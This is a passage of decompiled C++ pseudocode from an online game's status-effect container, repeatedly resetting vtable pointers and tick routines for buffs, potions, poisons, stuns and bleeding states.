(AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTLOWTHSCROLL.astr_Tick); v1->asl_BESTLOWTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTHIGHCONSPPOTION.astr_Tick); v1->asl_BESTHIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_HIGHCONSPPOTION.astr_Tick); v1->asl_HIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NORCONSPPOTION.astr_Tick); v1->asl_NORCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_LOWCONSPPOTION.astr_Tick); v1->asl_LOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTLOWCONSPPOTION.astr_Tick); v1->asl_BESTLOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTHIGHCONHPPOTION.astr_Tick); v1->asl_BESTHIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_HIGHCONHPPOTION.astr_Tick); v1->asl_HIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NORCONHPPOTION.astr_Tick); v1->asl_NORCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_LOWCONHPPOTION.astr_Tick); v1->asl_LOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTLOWCONHPPOTION.astr_Tick); v1->asl_BESTLOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MRMODE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACMODE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBMRPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBACPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HELGAACMINUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBINVISIBLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBIMMORTAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6DISEASE3.astr_Tick); v1->asl_MOB6DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5DISEASE3.astr_Tick); v1->asl_MOB5DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4DISEASE3.astr_Tick); v1->asl_MOB4DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3DISEASE3.astr_Tick); v1->asl_MOB3DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2DISEASE3.astr_Tick); v1->asl_MOB2DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1DISEASE3.astr_Tick); v1->asl_MOB1DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6DISEASE2.astr_Tick); v1->asl_MOB6DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5DISEASE2.astr_Tick); v1->asl_MOB5DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4DISEASE2.astr_Tick); v1->asl_MOB4DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3DISEASE2.astr_Tick); v1->asl_MOB3DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2DISEASE2.astr_Tick); v1->asl_MOB2DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1DISEASE2.astr_Tick); v1->asl_MOB1DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6DISEASE1.astr_Tick); v1->asl_MOB6DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5DISEASE1.astr_Tick); v1->asl_MOB5DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4DISEASE1.astr_Tick); v1->asl_MOB4DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3DISEASE1.astr_Tick); v1->asl_MOB3DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2DISEASE1.astr_Tick); v1->asl_MOB2DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1DISEASE1.astr_Tick); v1->asl_MOB1DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIATRUMPYPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_DIATRUMPYPOISON.astr_Tick); v1->asl_DIATRUMPYPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6POISON.astr_Tick); v1->asl_MOB6POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5POISON.astr_Tick); v1->asl_MOB5POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4POISON.astr_Tick); v1->asl_MOB4POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3POISON.astr_Tick); v1->asl_MOB3POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2POISON.astr_Tick); v1->asl_MOB2POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1POISON.astr_Tick); v1->asl_MOB1POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GIANTELVENTREEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LEGENDARYTREEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQMARLONEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ANCIENTSTONIESTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIAMASTERSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQGOBLEKINGSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQMARASTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SKELKNIGHTDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SKELKNIGHTDISEASE.astr_Tick); v1->asl_SKELKNIGHTDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_K_SOLIDERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KQ_K_SOLIDERBLOODING.astr_Tick); v1->asl_KQ_K_SOLIDERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SGTRUMPYBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SGTRUMPYBLOODING.astr_Tick); v1->asl_SGTRUMPYBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHYLPHBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SHYLPHBLOODING.astr_Tick); v1->asl_SHYLPHBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_JEWELKEEPERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_JEWELKEEPERBLOODING.astr_Tick); v1->asl_JEWELKEEPERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SENIORTORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SENIORTORTURERBLOODING.astr_Tick); v1->asl_SENIORTORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BABYWEREBEARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BABYWEREBEARBLOODING.astr_Tick); v1->asl_BABYWEREBEARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOBLOODING.astr_Tick); v1->asl_FOBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl 